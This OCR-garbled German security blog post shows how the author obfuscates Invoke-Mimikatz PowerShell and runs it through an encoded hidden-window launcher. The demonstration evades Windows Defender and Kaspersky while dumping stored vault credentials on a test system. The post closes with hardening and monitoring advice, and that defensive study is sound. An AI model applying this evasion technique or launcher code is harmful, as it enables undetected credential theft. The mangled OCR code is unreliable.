Sobfuscated "ICAGIEZ1bmNOaWIULE LLNOISMS, 7DQ0ICY , hemFTKAOKCQTbUGFY YW1 dGVYKF , vC210aw9uIDOgMCWgTWFUZGFOb 315 ID0gIHR y dWUPXQOKCQ 1bvi 1udDYOXQOK CokkVmFs dwuNCgk JKQOKCQKNCgh
Sobfuscated += "ICAQIEZ1bmNOaw9uIEIHREOLTY,7DQeJCV,hcmFtKAOKCQ1bUGFyYW11dGVYKF ,ve210awIuPTAs IE 1hbmRhdG9yeTOkdHI1251dDQoICVt IbnRQdHIdDQOI CSRS ZWLvdGVQemI jSGFUZGX TLAOKCQk
Sobfuscated "ICAQIEZ1bmNOawIuUIEQOYNEpaQy, 7DQoICV,hcmFtKAOKCQ1bUGFYYW11dGVYKF , vc210aw9uIDOgMCwgTWFUZGFOb315ID0gIHRydwUpXQOKCQ1bSwW50NjRADQoOICSRWYWX1ZTESDQoICQOKCQ 1bUGF
Sobfuscated "IchIEZlmeOawSuIEOOMVhOUA'I 7DQOICSRXaWdZMIR5 cGVZIDOGTMY3LUST amVvjdC, TeXNOZWOUT2IqZWNODQONCgOKDQoICSRED2 Lhawd gPs , boX , wRGITYWIUXTo6Q3VycmvudERvbWFPbgOKCQk
Sobfuscated "ICAQIEZ1bmNOaW9uIE1KQORURS , 7DQoICV, hcmFtKAOKCQ1bUGFYYW11dGVYKF, vc2 10aw9uIDOgMCwgTWFuUZGFOb315ID0gIHRydWUpXQOKCQ1bU312dGVELkS1amVidFONCgkJIF , FSWSmbywNCgk
Sobfuscated "IchIEZlmeOawSuIEuMTN;\Uw'I 70Q0ICV , hcmFTKAOKCQ1bUGFYYWL1dGVYKC,Qb3NpdG1vbiA9IDASIE LhbmRhdGIyeSAIICROCNVIKVONCOK JWOTudF, 0c1ONCokIIF, FSGFuZGx'\ LAQKCQkNCgk
Sobfuscated += "ICAQIEZ1bmNOaW9uIE1FQOhWWA17DQoICV,hcmFtKAOKCQ]1bUGFYYW11dGVYKF, vcz]ﬂauSuInﬁgMcngWFuZGFOhSJSIDngJHRydwuprOKCQ]hu31zﬂthLk91amdeFON(gk]]F FSWSmbywNCgk
Sobfuscated "ICAQIEZ1bmNOawIuIE INSUTVOC, 7DQoQICAQICAQIH  hemFtKFtzdHIpbmddICRFeGY , cmdzID0QI2v4aXQnKQOKDQOgICAQICAQICRWZX I Tb3NTUHI 1ZmvyZws jZSA9ICIzawx 1bnRsewNvbnRpbny
Sobfuscated += "ICAQIEZ1bmNOaW9uIEINMUAQTY,7DQolCWImICgkUmvtb3RTUHIVYOhhbmRsZSAtZXEgWOTudF,0c10601p1cm8pIHSNCgkJCUIHVDN,OCAtUEVIYWSkbGUQIF, FSGFUZGx1DQolCX0gZwxzZs ,7DQc

$ToDo = 1..Sobfuscated.count
Spone = @()

-/1. .Sobfuscated.count | ForEach-Object {

$Cur = $ToDo where-object {3Done otcont s S_} Get-Random -Count 1
$Done += SCur

$Bytes = [convert]::FromBase64string((Sobfuscatred[Scur - .|. -replace ',",'8"))
Scode = [text.Encoding] Default.GetChars(SEytes)
Invoke-Expression -Command Scode

SPEBytes64 = 'TVQQAAMAAAAEAAAA//SAAL gAAAAAAAAAQ) ATAEAAA4fug4AtAnNIbg, TMOhVGhpcy , wemdncmFtIGNhbmSvdC,1ZS, ydwdgawdgREITIGLVZ
eplace ',','B"'

qQ
SPEBytes64 = SPEBytes6d -re

MMIIUB 'vault::cred'

Natirlich wird auch diese Datei nicht vom AV erkannt, denn er kann sie immer noch nicht lesen:

‘Windows Security

Scan options

Run a quick, full, custom, or Windows Defender Offline scan.

No current threats.

Last scan: 24.07.2019 07:10 (custom scan)
0 threats found.

Scan lasted 1 seconds

5 files scanned.

Allowed threats

Protection history

@ Quick scan

Checks folders in your system where threats are commonly found.

O Full scan

Checks all files and running programs on your hard disk. This scan
could take longer than one hour.
O Custom scan

Choose which files and locations you want to check.

07:11

& 1) Dev
@; (A0 24.07.2019

Aber wie schaut es mit der Laufzeit aus? Im letzten Versuch wurde zuletzt der gesamte PowerShell-Prozess terminiert... Ich
starte den Code im Kontext meiner Testbenutzerin:
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EN Windows PowerShell
PS C:\Users\tessa.test\Desktop> &

& ) DU oy L

E¥ Windows PowerShell

Type

Persist

FEES 00000000
Credential

Attributes : @

TargetName : WindowsLive:target=virtualapp/didlogical / <NULL>
serName z hpeq c
Comment 3 tedCredential

: 00000000
Credential :
Attributes : 33

TargetName : Domain:target=testserver / <NULL>
UserName admin

Comment NULL>

Type 2 - domain_password

Persist - enterprise

Flags

Credential :

Attributes : ©

PS C:\Users\tessa.test\Desk

07:15
24.07.2019

@ ) pev =]

Und dann beendet der Defender die PowerShell:
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~obfuskiert)
zufalligyalias

¥ Windows Security

Virus & threat protection

Threats found

8 A

Tablet mode Location

Night light All settings

07:15

) DEU
@ ) 24.07.2019 D

Schade: das Andern der Funktionsnamen hat nicht geniigt, um den Windows Defender zu tiuschen. Man kdnnte natiirlich
noch weitere Anderungen vornehmen:

sinnfreie Anweisungen konnten integriert werden
Variablen kann man wie die Funktionen umbenennen

Kommentare kénnen geldscht werden (auch da stehen gfg. TriggerWords drin)

Ich wollte aber was anderes probieren. Durch einen kleinen Zufall habe ich etwas Interessantes herausgefunden...

Der verschachtelte Aufruf

Die gleiche Datei (obfuskiert, zufallig und mit Aliasen) habe ich auf dem Zielsystem zur Analyse in der Powershell ISE
gedffnet und ausgefiihrt. Und hier kam die Uberraschung:

B Windows Po
File Edit View
$co

Invok:

MMITUB ‘vault

mimikatz (pow
TargetName
UserName
Comment

Credential
Attribute:

getName
UserName
Comment

Flag
Credential
Attribute:

TargetName
UserName
Comment

Tools Debug Add-ons Help
& Ox|® P B E| =8| B0 ®mxE.,
= t.Encoding]: :Detault. He —~ - =
e-Expression -Command $code ‘ 03-obfuskiert, zufallig, aliased.ps1 X
1 3opruscated
13 Sobfuscated ICAQIEZ1L
TVQQAAMAAAAEAAAA/ /BAAL GAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA 14 Sobfuscated ICAQIEZ
$PEBytes64 -replace ‘B 15  Sobfuscated ICAQIEZ 1}
16  Sobfuscated ICAQIEZL
cred® 17 $obfuscated ICAgIEZ 1k
18 Sobfuscated TCAQIEZ 1
imikatz 2.1.1 (x64) built on Apr 1 2019 06: 1 19  S$obfuscated ICAQIEZ 1
La vie, A L'Amour” - (oe.e tten Edition 20 Sobfuscated ICAQIEZL
Benjamin DELPY “gent wi® ( benjamin@genti 21 S$obfuscated ICAgIEZ 1l
H log. gentilkiwi .com, alsi= 22 Sobfuscated ICAQIEZ 1]
ent LE TOUX ( vincent.letoux 23 Sobfuscated ICAQIEZ 1
http://pingcastle.com / http://mysmartlogen.com 24 Sobfuscated ICAQIEZ 1}
25  Sobfuscated ICAQIEZL
shell) # vault::c 26  $obfuscated ICAQIEZ 1|
estserver / <NULL> 27 Sobfuscated TCAQIEZ 1
28 Sobfuscated ICAQIEZ 1
29 Sobfuscated ICAQIEZL
password 30 Sobfuscated ICAQIEZ1
31
32 $ToDo = 1..$obfuscat:
33 Sbone = @0
34
35 1..$obfuscated.count
rget=virtualapp/didlogical / <NULL> 36 $Cur = $ToDo | Wi
qesac 37 $Done += $Cur
edCredential 38
generic 39 $Bytes = [conver
2 - Tocal_machine 40 $code = [text.Em
00000000 41 Invoke-Expressiol
42 ¥
43
44 $PEBytes64 = "TvqQAAMAAAS
: Domain:target=testserver / <NULL> 45  $PEBytes64 = JPEBytesbd
46
47 MMIIUE "vault::cred’
3 - enterprise
00000000

LCAGLEZ LOMNUAWSULEUYR TRNRC,

bmNOaw9uIE1HVDN,OC \cmF £ KAOKC
Windows Security
= Security at a glance
| @ and take any actions needed
o
R

(4

Virus & threat protection
No action needed.

App & browser control

/DQOJCV, N TKAUKCQ IDUGHY YW1 TAGVYKC
7DQo. 1buGFyYw1ldGVyKFE

QD3NpAGIVDIA
vc210awduPTA

See what's happening with the security and health of your device

o

Account protection
No action needed.

5

Device security

Completed

Ln27 Col 33 |

95%

oF:

24.07.2019
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Der Code wurde ohne Warnung ausgefiihrt. Und die PowerShell ISE blieb offen!!! Das weckte meine Neugier! Was macht

die ISE anders als die powershell.exe? Die Antwort ist einfach: die ISE startet den Code in einem Subprozess wahrend die
powershell.exe die Ausfiihrung selber libernimmt. Das lasst sich doch nachstellen...

Dafiir bendtige ich nur einen kleinen Launcher — also nen Code, den ich an eine weitere PowerShell (ibergeben kann. Da die
PowerShell mit BASE64 kodierten Aufrufen umgehen kann fand ich darin gleich noch eine zusatzliche Verschleierung. In
dieser BASE64-Anweisung steht eigentlich nur drin: , Lieber SubProzess, bitte lieR die Scriptdatei und fiihre den Text mit
Invoke-Expression aus*:

¥ windows PowerShell ISE
File Edit View Tools Debug Add-ons Help
i~ = R (EJP S { | i

mkealler.ps1* X

# generiere mimikatz cmd
$lines = @aQ)
‘$stream = [System.I0.StreamReader] (Get-Item -Path "c:\users\tessa.test\desktop\03-obfuskiert, zufdllig, aliased.ps1").FullName"
'$data = $stream.ReadToEnd()'
n '$stream.close()’
$lines += 'iex $data’

Scmd = STines —join '3

# encode das cmd in BASE64
Sbytes — [System.Text.Encodingl::Unicode.GetBytes($cmd)
Senc = [Convert]::ToBaseé4string($bytes)

# erstelle Tauncher
"powershell -w n -enc Senc"

PS C:\> "powershell -w n -enc $enc"

powershell -w n -enc JABzAHQACGBIAGEABQAGADOATABbAFMAEQBZAHQAZQBEACAASQBPACAAUWBOAHIAZQBhAGOAUGR 1 AGE AZART AHTAXQAGACGARWB 1 AHQAL QB JAHQAZQBE ACAAL QBQAGEAJABOACAALGE jADOAXABLAHM
AZQByAHMAXABOAGUACWBZAGEAL gBOAGUACWBOAFWAZ AB 1 AHMAawBOAGBACABCADAAMWAEAGBAYgBmAHUA CWBI AGKAZQBYAHQAL AAGAHOAJQBMADQADABSAGKAZ wAS ACAAY! kAYQBZAGUAZAAUAHAACWAXACTAKQAUAE YACQB
SAGWATgBhAGOAZQA7 ACQAZ ABhAHQAYQAGADOATAAKAHMAABYAGUAYQBTAC 4AUGB 1 AGEAZABUAGBARQBUAGQAKAADADSATABZAHQACGR 1 AGEABQAUAGMADABVAHMAZQAOA BPAGUAEAAGACQAZ ABhAHQAYQA=

PS C:\>

Completed Ln6 Col9

Es wird Zeit fir den Versuch:

E¥ Windows PowerShell

PS C:\Users\tessa.test\Desktop> powershell -w n

hAGOAUgB1AGEAZAB1AHIAXQAgACEARWB1AHQALQBIAHQAZQBtACAALQBQAGEAdABOACAAT gBjADOAXAB1AHMAZ(QBYAHMAXABOAGUACWBZAGEALgBOAGUAC
OAFWAZAB1AHMAawBOAGBACABCADAAMWALAGBAY gBmAHUACWBrAGKAZQBYAHQALAAgAHOAdQBMAOQAbABSAGKAZWASACAAYQBSAGKAYQBZAGUAZAAUAHAACWA
XACTAKQAUAEYAJQBSAGWATgBhAGBAZQA7ACQAZABhAHQAYQAZADBATAAKAHMAABY AGUAYQB tACAAUEB1AGEAZABUAGSARQBUAGQAKAAPADSATAB ZAHQAC B
1AGEAbQAUAGMAbABVAHMAZQAOACKAOWBPAGUAAAZACQAZABhAHQAY QA=

07:27
24.07.2019

< @& 1) DEu
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Users\tessa.test\Desktop> powershell

JABZAHQACEB1AGEADQAZADOATABbAFACQBZAHQAZQBACAASQBPACAAUWBOAHTAZ Q)
hAGOAUEB1AGEAZAB1AHIAXQAZACEARWB1AHQAL QBIAHQAZQBtACAAL QBQAGEAdABOACAAT gBFADOAXAB1AHMAZQBY AHMAXABOAGUACWB ZAGEAL gBOAGUACHB]
OAFWAZAB1AHMAaWBOAGBACABCADAAMWATAGSAY BMAHUACWBAGKAZQBYAHQAL AAZAHOAdQBMAOQAbAB SAGKAZWASACAAYQBS AGKAYQBZAGUAZAAUAHAACH/

XACTAKQAUAEYAQBSAGWATgBhAGBAZQA7ACQAZABhAHQAYQAZADOAT AAKAHMAIABY AGUAYQB tACAAUZB1AGEAZABUAGEARQBUAGQAKAAPADSATABZAHQACEH]

1AGEAbQAUAGMAbABVAHMAZQA0ACKAOWBPAGUAeAAZACQAZABhAHQAYQA=

SHHEEE mimika 2.1.1 (x64) built on Apr 1 2019 06:57:11
J## M dHE. A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY "gentilk
##\ /[ # > http://blog.gentilkiwi.com/mimikatz
THE v O Vincent LE TOUX

" > http://pingcastle.com / http://mysmartlogon.com

mimikatz(powershell) # vault
TargetName : testserver /
UserName  : admin

Comment <NULL>

Type 2 - domain_password
Persist 3 - enterprise
Flags 00000000
Credential
Attributes : 0
TargetName indowsLive:target=virtualapp/didlogical / <NULL>
UserName 02hsdmgrhpegesac

Comment : PersistedCredential

Type : 1 - generic

Persist : 2 - local_machine

Flags : 00000000

Credential

Attributes

TargetName : Domain:target=testserver / <NULL>
UserName  : admin

Comment : <NULL>

Type : 2 - domain_password

"~ ( benjamin@gentilkiwi.com )

( vincent. letoux@gmail.c
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GESCHAFFT! Der Code lauft und wird vom Windows Defender komplett ignoriert! Auf einem aktuellen Windows 10 Version

1903!

Aber vielleicht ist damit nur der Defender Uiberfordert. Was sagt denn mein Kaspersky AV dazu?

Windows PowerShell
Copyright (C) Microsoft Corporation. Alle Rechte vorbehalten.

PS C:\Users\stephan> powershell n JA

MAZQAOACKAOWBPAGUAeAAZACQAZABhAHQAY(Q)

mimikatz 2.1.1 (x64) built on Apr 1 2019 06:57:11

"A La Vie, A L'Amoui (oe.eo) ** Kitten Edition **

/***% Benjamin DELPY ~gentilkiwi™ ( bel
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX
> http://pingcastle.com / http://mysmartlogon.com

z(powershell) # vault red
ype for Desktop MSA/live: \
© Kaspersky Anti-Virus

Userhame
“omment

6a 6
3 50

v

q Untersuchung

m Berichte
 —

min@gentilkiwi.com )

( vincent.letoux@gmail.com )

HOACEB1AGEABQAZADOAT ABbAFMACQBZAHQAZQBTACAASQBPACAAUWBBAHTAZQBhAGOAUEBIAY
EAZAB1AHTAXQAEACEARWE1AHQAL QBIAHQAZQBACAAL QBQAGEAdABOACAAT £B JADOAXABTAHMAZQBY AHMAXAI

8ACABCADAAMWALAGBAYgBMAHUACWBAGKAZQBYAHQALAAZAHOAdQBMAOQALABSAGKAZWASACAAYQBSAGKAYQBZ
wATgBhAGOAZQA7ACQAZABhAHQAY QAZADRATAAKAHMAIABYAGUAYQB tACAAUEBLAGEAZABUAGBARQBUAGQAKAADADSATA

HQAZQBWAGEAYQBUAFWAZAB1AHMAAWBOAG]
GUAZAAUAHAACHAXAC TAKQAUAEYAdQBSAG
HQACZBLAGEAbQAUAGHMAbABVAH

lhr Schutz ist aktiv.

Details

Y
"~/

Bildschirmtastatur

Datenbanken-Update

Dieser Code schlagt durch! Und durch die neuen Generator-Funktionen bekomme ich jedes Mal ein neues Script! Es ist
also mit wenig Aufwand maglich, die modernen Systeme zu kompromittieren!

SchutzmaBnahmen
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Versteht ihr nun, warum es so viel Schadcode da drauflen gibt? Es existieren zahlreiche Generatoren und Obfuskatoren, die
einen fertigen Schadcode modifizieren und tarnen. Angreifer kennen und nutzen diese Werkzeuge. Und wenn diese sich
gegen AV-Losungen bewehren, dann werden sie eingesetzt!

Natirlich kennen auch die AV-Hersteller diese Methoden und riisten ihre Produkte entsprechend aus. Aber wenn wie in
meinem Beispiel der Mechanismus manuell bzw. individuell programmiert wird, dann haben die Schutzprogramme keine
Chance...

Aber wie schiitzt man sich und seine Infrastruktur denn davor? Die Antwort ist nicht ganz einfach. Ich wiirde ein System
aus 2 Komponenten empfehlen: aktive Schutzvorkehrungen und aktives Monitoring.

aktive Schutzvorkehrungen

Auf ein Antivirus-Programm wirde ich auch nach dieser Demo nicht verzichten. Ihr habt gesehen, dass es einigen Aufwand
auf der Angreiferseite erfordert, an modernen AV vorbei zu kommen.

Dazu wiirde ich aber immer entsprechende Systemhartungen vornehmen. Dazu zahlen
e Eingesetzte Betriebssysteme und Software sollte fehlerfrei konfiguriert sein

e Die Einschrankung der Accounts, die ins Internet diirfen.

e Die Einschrankung der administrativen Accounts auf wenige Systeme (siehe mein Blogbeitrag zum Thema , Tier-
Management und SecurityScopes”

e Das Abschalten von veralteten und unsicheren Protokollen. Dazu zahlt fiir mich auch das Verhindern der
Passwortspeicherung. Denn jeder Speicher kann kompromittiert werden. Kein System ist sicher...

aktives Monitoring

Es wird aber nicht gelingen, sich gegen alle Angriffe zu schiitzen. Daher sollte unbedingt ein Monitoring die wichtigen
Bereiche der Infrastruktur beobachten und analysieren. Aus einer Vielzahl von Logfiles und Eventlogs konnen mit der Zeit
sogar Anomalien im Verhalten von Systemen und Benutzern erkannt werden. Das Erkennen eines Angriffes bzw. einer
Anomalie kann dann fir einen stillen Alarm verwendet werden. Bei kritischen Systemen kdonnte aber auch eine aktive
Gegenmalnahme eingeleitet werden.

Zusammenfassung

Es gibt keinen totalen Schutz! Asume the breach! Aber ihr konnt es den Angreifern (sehr) schwer machen. Und das ist der
Reiz fur mich als Verteidiger. Seid kreativ und bleibt mit eurem Wissen aktuell. Dann tretet ihr euren Angreifern auf
Augenhdhe gegeniiber!

Stay tuned
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